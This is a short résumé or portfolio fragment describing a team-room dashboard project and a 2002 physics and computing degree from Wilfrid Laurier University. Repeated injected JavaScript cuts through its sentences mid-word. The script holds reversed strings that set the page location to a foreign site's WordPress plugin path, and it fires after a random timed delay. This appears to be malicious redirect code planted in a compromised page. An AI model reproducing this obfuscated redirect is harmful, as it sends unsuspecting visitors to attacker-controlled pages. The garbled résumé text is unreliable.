- Designed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be displayed on a large tv screen in team room but can also be viewed in a browser by remote team members
- Pulls data from various web services toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and combines them intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one easily readable dashboard
EDUCATION
Honours Bachelor of Science | Wilfrid Laurier University
Class of 2002
Major: Physics, Computing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Computer Electronics
Minor: Mathematics